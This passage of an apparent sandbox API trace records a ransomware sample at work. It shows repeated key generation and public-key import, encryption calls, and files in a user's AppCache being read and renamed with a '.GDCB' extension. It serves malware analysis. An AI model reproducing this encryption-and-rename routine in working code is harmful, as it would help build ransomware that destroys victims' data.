dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0251.968] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0251.968] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0251.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0251.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0251.975] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0251.975] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.975] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0251.978] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781c08) returned 1 [0251.978] CryptGetKeyParam (in: hKey=0x6781c08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.978] CryptEncrypt (in: hKey=0x6781c08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0251.979] GetLastError () returned 0x0 [0251.979] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0251.979] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0251.982] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781a88) returned 1 [0251.982] CryptGetKeyParam (in: hKey=0x6781a88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0251.982] CryptEncrypt (in: hKey=0x6781a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0251.982] GetLastError () returned 0x0 [0251.982] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0251.982] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\f544a93b[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\f544a93b[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0251.985] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0251.989] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0251.993] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x592, lpOverlapped=0x0) returned 1 [0252.004] VirtualAlloc (lpAddress=0x0, dwSize=0x5a0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0252.013] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\f544a93b[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\f544a93b[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\f544a93b[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\f544a93b[1].css.gdcb")) returned 1 [0252.017] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0252.020] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.022] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.022] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.022] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.022] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.025] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.027] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.027] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.027] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.027] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0252.035] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781908) returned 1 [0252.035] CryptGetKeyParam (in: hKey=0x6781908, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.035] CryptEncrypt (in: hKey=0x6781908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.035] GetLastError () returned 0x0 [0252.035] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.035] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0252.037] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781cc8) returned 1 [0252.037] CryptGetKeyParam (in: hKey=0x6781cc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.037] CryptEncrypt (in: hKey=0x6781cc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.038] GetLastError () returned 0x0 [0252.038] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.038] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0252.039] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0252.042] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0252.045] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0xbcb0, lpOverlapped=0x0) returned 1 [0252.054] VirtualAlloc (lpAddress=0x0, dwSize=0xbcb0, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0252.061] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm.gdcb")) returned 0 [0252.081] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0252.084] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.086] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.086] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.086] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.086] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0252.089] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.091] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.091] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.091] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.091] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0252.093] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781c48) returned 1 [0252.093] CryptGetKeyParam (in: hKey=0x6781c48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.093] CryptEncrypt (in: hKey=0x6781c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.094] GetLastError () returned 0x0 [0252.094] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.094] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0252.095] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781948) returned 1 [0252.095] CryptGetKeyParam (in: hKey=0x6781948, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.095] CryptEncrypt (in: hKey=0x6781948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.096] GetLastError () returned 0x0 [0252.096] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.096] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\5\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\5\\zinc[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0252.097] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0252.100] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0252.102] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x1d680, lpOverlapped=0x0) returned 1 [0252.111] VirtualAlloc (lpAddress=0x0, dwSize=0x1d680, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0252.120] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\5\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\5\\zinc[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\5\\zinc[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\5\\zinc[1].htm.gdcb")) returned 1 [0252.218] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.221] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.223] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.224] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.224] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.224] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.227] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.229] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.229] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.229] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.229] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0252.232] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781f08) returned 1 [0252.232] CryptGetKeyParam (in: hKey=0x6781f08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.232] CryptEncrypt (in: hKey=0x6781f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.232] GetLastError () returned 0x0 [0252.232] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.232] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0252.234] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781ec8) returned 1 [0252.234] CryptGetKeyParam (in: hKey=0x6781ec8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.234] CryptEncrypt (in: hKey=0x6781ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0252.234] GetLastError () returned 0x0 [0252.234] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.234] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\6\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\6\\zinc[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0252.236] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcba0000 [0252.238] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcbb0000 [0252.241] ReadFile (in: hFile=0x520, lpBuffer=0xcbb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcbb0000*, lpNumberOfBytesRead=0x285d3e8*=0x1d680, lpOverlapped=0x0) returned 1 [0252.250] VirtualAlloc (lpAddress=0x0, dwSize=0x1d680, flAllocationType=0x3000, flProtect=0x4) returned 0xccc0000 [0252.259] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\6\\zinc[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\6\\zinc[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\6\\zinc[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\6\\zinc[1].htm.gdcb")) returned 1 [0252.310] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0252.313] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.315] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.315] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0252.315] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.315] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0252.318] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.320] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.320] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0252.320] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.321] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0252.323] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6781988) returned 1 [0252.323] CryptGetKeyParam (in: hKey=0x6781988, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0252.323] CryptEncrypt (in: hKey=0x6781988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcb80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0252.323] GetLastError () returned 0x0 [0252.323] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0252.323] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0252.325] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6781b88) returned 1 [0252.325] CryptGetKeyParam (in: hKey=0x6781b88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0252.325] CryptEncrypt (in: hKey=0x6781b88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcb90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0252.326] GetLastError () returned 0x0 [0252.326] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.326] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer\\DOMStore\\YZLQLSKF\\www.bing[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\internet explorer\\domstore\\yzlqlskf\\www.bing[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0252.331] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0252.335] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.336] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.337] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0252.337] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.337] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0252.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0252.341] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0252.342] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0252.342] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0252.342] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0252.345] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6781e08) returned 1 [0252.345] CryptGetKeyParam (in: hKey=0x6781e08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0252.345] CryptEncrypt (in: hKey=0x6781e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0252.345] GetLastError () returned 0x0 [0252.345] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0252.345] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: 